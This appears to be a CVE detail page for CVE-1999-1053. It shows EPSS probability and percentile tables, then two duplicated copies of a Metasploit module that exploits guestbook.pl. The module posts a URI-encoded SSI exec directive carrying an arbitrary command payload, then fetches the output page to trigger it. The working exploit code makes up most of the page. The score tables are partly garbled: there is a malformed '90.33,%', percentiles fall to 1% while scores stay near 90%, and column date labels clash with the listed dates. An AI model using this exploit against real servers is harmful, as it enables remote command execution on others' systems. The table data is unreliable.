CVE-1999-1053 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	71.79%	–	–
2022-11-27	–	–	73.54%	–	–
2023-03-12	–	–	–	93.93%	–
2023-08-13	–	–	–	93.65%	–
2024-02-18	–	–	–	94.36%	–
2024-06-02	–	–	–	94.36%	–
2024-12-22	–	–	–	96.01%	–
2025-01-19	–	–	–	96.01%	–
2025-03-18	–	–	–	–	90.73%
2025-04-06	–	–	–	–	89.83%
2025-04-15	–	–	–	–	90.33%
2025-04-15	–	–	–	–	90.33,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	99%
2022-11-27	99%
2023-03-12	99%
2023-08-13	99%
2024-02-18	99%
2024-06-02	99%
2024-12-22	1%
2025-01-19	1%
2025-03-18	1%
2025-04-06	1%
2025-04-15	1%
2025-04-15	1%

## # $Id: guestbook_ssi_exec.rb 9671 2010-07-03 06:21:31Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Matt Wright guestbook.pl Arbitrary Command Execution', 'Description' => %q{ The Matt Wright guestbook.pl <= v2.3.1 CGI script contains a flaw that may allow arbitrary command execution. The vulnerability requires that HTML posting is enabled in the guestbook.pl script, and that the web server must have the Server-Side Include (SSI) script handler enabled for the '.html' file type. By combining the script weakness with non-default server configuration, it is possible to exploit this vulnerability successfully. }, 'Author' => [ 'patrick' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 9671 $', 'References' => [ [ 'CVE', '1999-1053' ], [ 'OSVDB', '84' ], [ 'BID', '776' ], ], 'Privileged' => false, 'Payload' => { 'DisableNops' => true, 'Space' => 1024, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic perl ruby bash telnet', } }, 'Platform' => [ 'unix', 'win', 'linux' ], 'Arch' => ARCH_CMD, 'Targets' => [[ 'Automatic', { }]], 'DisclosureDate' => 'Nov 05 1999', 'DefaultTarget' => 0)) register_options( [ OptString.new('URI', [true, "guestbook.pl script path", "/cgi-bin/guestbook.pl"]), OptString.new('URIOUT', [true, "guestbook.html output", "/guestbook/guestbook.html"]), ], self.class) end def exploit realname = rand_text_alphanumeric(20) email = rand_text_alphanumeric(20) city = rand_text_alphanumeric(20) state = rand_text_alphanumeric(20) country = rand_text_alphanumeric(20) sploit = Rex::Text.uri_encode("<!--#exec cmd=\"" + payload.encoded.gsub('"','\"') + "\"", 'hex-normal') req1 = send_request_cgi({ 'uri' => datastore['URI'], 'method' => 'POST', 'data' => "realname=#{realname}&username=#{email}&city=#{city}&state=#{state}&country=#{country}&comments=#{sploit}", }, 25) req2 = send_request_raw({ 'uri' => datastore['URIOUT'], }, 25) end end

## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Matt Wright guestbook.pl Arbitrary Command Execution', 'Description' => %q{ The Matt Wright guestbook.pl <= v2.3.1 CGI script contains a flaw that may allow arbitrary command execution. The vulnerability requires that HTML posting is enabled in the guestbook.pl script, and that the web server must have the Server-Side Include (SSI) script handler enabled for the '.html' file type. By combining the script weakness with non-default server configuration, it is possible to exploit this vulnerability successfully. }, 'Author' => [ 'patrick' ], 'License' => MSF_LICENSE, 'Version' => '$Revision$', 'References' => [ [ 'CVE', '1999-1053' ], [ 'OSVDB', '84' ], [ 'BID', '776' ], ], 'Privileged' => false, 'Payload' => { 'DisableNops' => true, 'Space' => 1024, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic perl ruby bash telnet', } }, 'Platform' => [ 'unix', 'win', 'linux' ], 'Arch' => ARCH_CMD, 'Targets' => [[ 'Automatic', { }]], 'DisclosureDate' => 'Nov 05 1999', 'DefaultTarget' => 0)) register_options( [ OptString.new('URI', [true, "guestbook.pl script path", "/cgi-bin/guestbook.pl"]), OptString.new('URIOUT', [true, "guestbook.html output", "/guestbook/guestbook.html"]), ], self.class) end def exploit realname = rand_text_alphanumeric(20) email = rand_text_alphanumeric(20) city = rand_text_alphanumeric(20) state = rand_text_alphanumeric(20) country = rand_text_alphanumeric(20) sploit = Rex::Text.uri_encode("<!--#exec cmd=\"" + payload.encoded.gsub('"','\"') + "\"", 'hex-normal') req1 = send_request_cgi({ 'uri' => datastore['URI'], 'method' => 'POST', 'data' => "realname=#{realname}&username=#{email}&city=#{city}&state=#{state}&country=#{country}&comments=#{sploit}", }, 25) req2 = send_request_raw({ 'uri' => datastore['URIOUT'], }, 25) end end